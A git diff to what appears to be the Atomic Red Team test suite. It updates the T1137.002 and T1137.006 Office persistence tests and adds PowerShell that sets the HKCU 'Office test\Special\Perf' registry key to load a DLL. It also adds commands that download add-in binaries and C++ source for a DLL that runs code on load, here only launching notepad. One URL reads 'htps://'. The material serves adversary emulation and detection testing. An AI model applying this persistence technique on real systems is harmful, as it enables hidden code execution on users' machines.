diff --git a/atomics/T1137.002/T1137.002.yaml b/atomics/T1137.002/T1137.002.yaml index b6f1f5d6..2296cfd0 100644 --- a/atomics/T1137.002/T1137.002.yaml +++ b/atomics/T1137.002/T1137.002.yaml @@ -1,21 +1,46 @@ attack_technique: T1137.002 display_name: 'Office Application Startup: Office Test' atomic_tests: -- name: Office Application Startup Test Persistence +- name: Office Application Startup Test Persistence (HKCU) auto_generated_guid: c3e35b58-fe1c-480b-b540-7600fb612563 description: | Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. Key is used for debugging purposes. Not created by default & exist in HKCU & HKLM hives. supported_platforms: - windows - input_arguments: - thing_to_execute: - description: Thing to Run - type: Path - default: C:\Path\AtomicRedTeam.dll + dependencies: + - description: | + Microsoft Word must be installed + prereq_command: | + try { + New-Object -COMObject "Word.Application" | Out-Null + Stop-Process -Name "winword" + exit 0 + } catch { exit 1 } + get_prereq_command: | + Write-Host "You will need to install Microsoft Word manually to meet this requirement" + - description: DLL files must exist on disk at specified location + prereq_command: | + if ((Test-Path "PathToAtomicsFolder\T1137.002\bin\officetest_x64.dll") -and (Test-Path "PathToAtomicsFolder\T1137.002\bin\officetest_x86.dll")) {exit 0} else {exit 1} + get_prereq_command: |- + New-Item -Type Directory "PathToAtomicsFolder\T1137.002\bin\" -Force | Out-Null + Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.002/bin/officetest_x64.dll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.002\bin\officetest_x64.dll" + Invoke-Webrequest -Uri "htps://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.002/bin/officetest_x86.dll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.002\bin\officetest_x86.dll" executor: + name: powershell command: | - reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "#{thing_to_execute}" + $wdApp = New-Object -COMObject "Word.Application" + if(-not $wdApp.path.contains("Program Files (x86)")) + { + Write-Host "64-bit Office" + reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "PathToAtomicsFolder\T1137.002\bin\officetest_x64.dll" /f + } + else{ + Write-Host "32-bit Office" + reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "PathToAtomicsFolder\T1137.002\bin\officetest_x86.dll" /f + } + Stop-Process -Name "WinWord" + Start-Process "WinWord" cleanup_command: | - reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /f >nul 2>&1 - name: command_prompt + Stop-Process -Name "notepad","WinWord" -ErrorAction Ignore + Remove-Item "HKCU:\Software\Microsoft\Office test\Special\Perf" -ErrorAction Ignore \ No newline at end of file diff --git a/atomics/T1137.002/bin/officetest_x64.dll b/atomics/T1137.002/bin/officetest_x64.dll new file mode 100644 index 00000000..725fedd9 Binary files /dev/null and b/atomics/T1137.002/bin/officetest_x64.dll differ diff --git a/atomics/T1137.002/bin/officetest_x86.dll b/atomics/T1137.002/bin/officetest_x86.dll new file mode 100644 index 00000000..9f862ce2 Binary files /dev/null and b/atomics/T1137.002/bin/officetest_x86.dll differ diff --git a/atomics/T1137.002/src/officetest/officetest.sln b/atomics/T1137.002/src/officetest/officetest.sln new file mode 100644 index 00000000..639c629d --- /dev/null +++ b/atomics/T1137.002/src/officetest/officetest.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.4.33205.214 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "officetest", "officetest\officetest.vcxproj", "{38D47045-36F2-48CD-9523-0104408A650E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {38D47045-36F2-48CD-9523-0104408A650E}.Debug|x64.ActiveCfg = Debug|x64 + {38D47045-36F2-48CD-9523-0104408A650E}.Debug|x64.Build.0 = Debug|x64 + {38D47045-36F2-48CD-9523-0104408A650E}.Debug|x86.ActiveCfg = Debug|Win32 + {38D47045-36F2-48CD-9523-0104408A650E}.Debug|x86.Build.0 = Debug|Win32 + {38D47045-36F2-48CD-9523-0104408A650E}.Release|x64.ActiveCfg = Release|x64 + {38D47045-36F2-48CD-9523-0104408A650E}.Release|x64.Build.0 = Release|x64 + {38D47045-36F2-48CD-9523-0104408A650E}.Release|x86.ActiveCfg = Release|Win32 + {38D47045-36F2-48CD-9523-0104408A650E}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {B554E807-7489-4A46-9DF8-41BE9F6CF3FD} + EndGlobalSection +EndGlobal diff --git a/atomics/T1137.002/src/officetest/officetest/dllmain.cpp b/atomics/T1137.002/src/officetest/officetest/dllmain.cpp new file mode 100644 index 00000000..e4b4fc2e --- /dev/null +++ b/atomics/T1137.002/src/officetest/officetest/dllmain.cpp @@ -0,0 +1,27 @@ +#include "pch.h" +#include +#include + +BOOL APIENTRY DllMain(HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved +) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: { + LPCSTR app_name = "Untitled - Notepad"; + if (FindWindowA(0, app_name)) { + // Notepad is already running + } + else { + system("start notepad.exe"); + } + } + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: { + break; } + } + return TRUE; +} \ No newline at end of file diff --git a/atomics/T1137.002/src/officetest/officetest/framework.h b/atomics/T1137.002/src/officetest/officetest/framework.h new file mode 100644 index 00000000..54b83e94 --- /dev/null +++ b/atomics/T1137.002/src/officetest/officetest/framework.h @@ -0,0 +1,5 @@ +#pragma once + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files +#include diff --git a/atomics/T1137.002/src/officetest/officetest/officetest.vcxproj b/atomics/T1137.002/src/officetest/officetest/officetest.vcxproj new file mode 100644 index 00000000..8bc03109 --- /dev/null +++ b/atomics/T1137.002/src/officetest/officetest/officetest.vcxproj @@ -0,0 +1,157 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {38d47045-36f2-48cd-9523-0104408a650e} + officetest + 10.0 + + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;OFFICETEST_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false + + + + + Level3 + true + true + true + WIN32;NDEBUG;OFFICETEST_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + true + true + false + + + + + Level3 + true + _DEBUG;OFFICETEST_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false + + + + + Level3 + true + true + true + NDEBUG;OFFICETEST_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + true + true + false + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/atomics/T1137.002/src/officetest/officetest/officetest.vcxproj.filters b/atomics/T1137.002/src/officetest/officetest/officetest.vcxproj.filters new file mode 100644 index 00000000..1e57c7b1 --- /dev/null +++ b/atomics/T1137.002/src/officetest/officetest/officetest.vcxproj.filters @@ -0,0 +1,33 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/atomics/T1137.002/src/officetest/officetest/officetest.vcxproj.user b/atomics/T1137.002/src/officetest/officetest/officetest.vcxproj.user new file mode 100644 index 00000000..88a55094 --- /dev/null +++ b/atomics/T1137.002/src/officetest/officetest/officetest.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/atomics/T1137.002/src/officetest/officetest/pch.cpp b/atomics/T1137.002/src/officetest/officetest/pch.cpp new file mode 100644 index 00000000..64b7eef6 --- /dev/null +++ b/atomics/T1137.002/src/officetest/officetest/pch.cpp @@ -0,0 +1,5 @@ +// pch.cpp: source file corresponding to the pre-compiled header + +#include "pch.h" + +// When you are using pre-compiled headers, this source file is necessary for compilation to succeed. diff --git a/atomics/T1137.002/src/officetest/officetest/pch.h b/atomics/T1137.002/src/officetest/officetest/pch.h new file mode 100644 index 00000000..885d5d62 --- /dev/null +++ b/atomics/T1137.002/src/officetest/officetest/pch.h @@ -0,0 +1,13 @@ +// pch.h: This is a precompiled header file. +// Files listed below are compiled only once, improving build performance for future builds. +// This also affects IntelliSense performance, including code completion and many code browsing features. +// However, files listed here are ALL re-compiled if any one of them is updated between builds. +// Do not add files here that you will be updating frequently as this negates the performance advantage. + +#ifndef PCH_H +#define PCH_H + +// add headers that you want to pre-compile here +#include "framework.h" + +#endif //PCH_H diff --git a/atomics/T1137.006/T1137.006.yaml b/atomics/T1137.006/T1137.006.yaml index 78e7bae0..2fab69af 100644 --- a/atomics/T1137.006/T1137.006.yaml +++ b/atomics/T1137.006/T1137.006.yaml @@ -23,6 +23,7 @@ atomic_tests: prereq_command: | if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll") -and (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll")) {exit 0} else {exit 1} get_prereq_command: |- + New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Force | Out-Null Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x64.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll" Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x86.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll" executor: @@ -37,6 +38,8 @@ atomic_tests: Write-Host "32-bit Office" $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll") } + cleanup_command: | + Stop-Process -Name "notepad","Excel" -ErrorAction Ignore - name: Persistent Code Execution Via Excel Add-in File (XLL) auto_generated_guid: 9c307886-9fef-41d5-b344-073a0f5b2f5f @@ -60,6 +63,7 @@ atomic_tests: prereq_command: | if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll") -and (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll")) {exit 0} else {exit 1} get_prereq_command: |- + New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Force | Out-Null Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x64.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll" Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x86.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll" executor: @@ -111,6 +115,7 @@ atomic_tests: prereq_command: | if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll") -and (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll")) {exit 0} else {exit 1} get_prereq_command: |- + New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Force | Out-Null Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/wordwll_x64.wll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll" Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/wordwll_x86.wll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll" executor: @@ -155,6 +160,7 @@ atomic_tests: prereq_command: | if (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam") {exit 0} else {exit 1} get_prereq_command: |- + New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Force | Out-Null Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/ExcelVBAaddin.xlam" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam" executor: name: powershell @@ -188,6 +194,7 @@ atomic_tests: prereq_command: | if (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam") {exit 0} else {exit 1} get_prereq_command: |- + New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Force | Out-Null Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/PptVBAaddin.ppam" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam" executor: name: powershell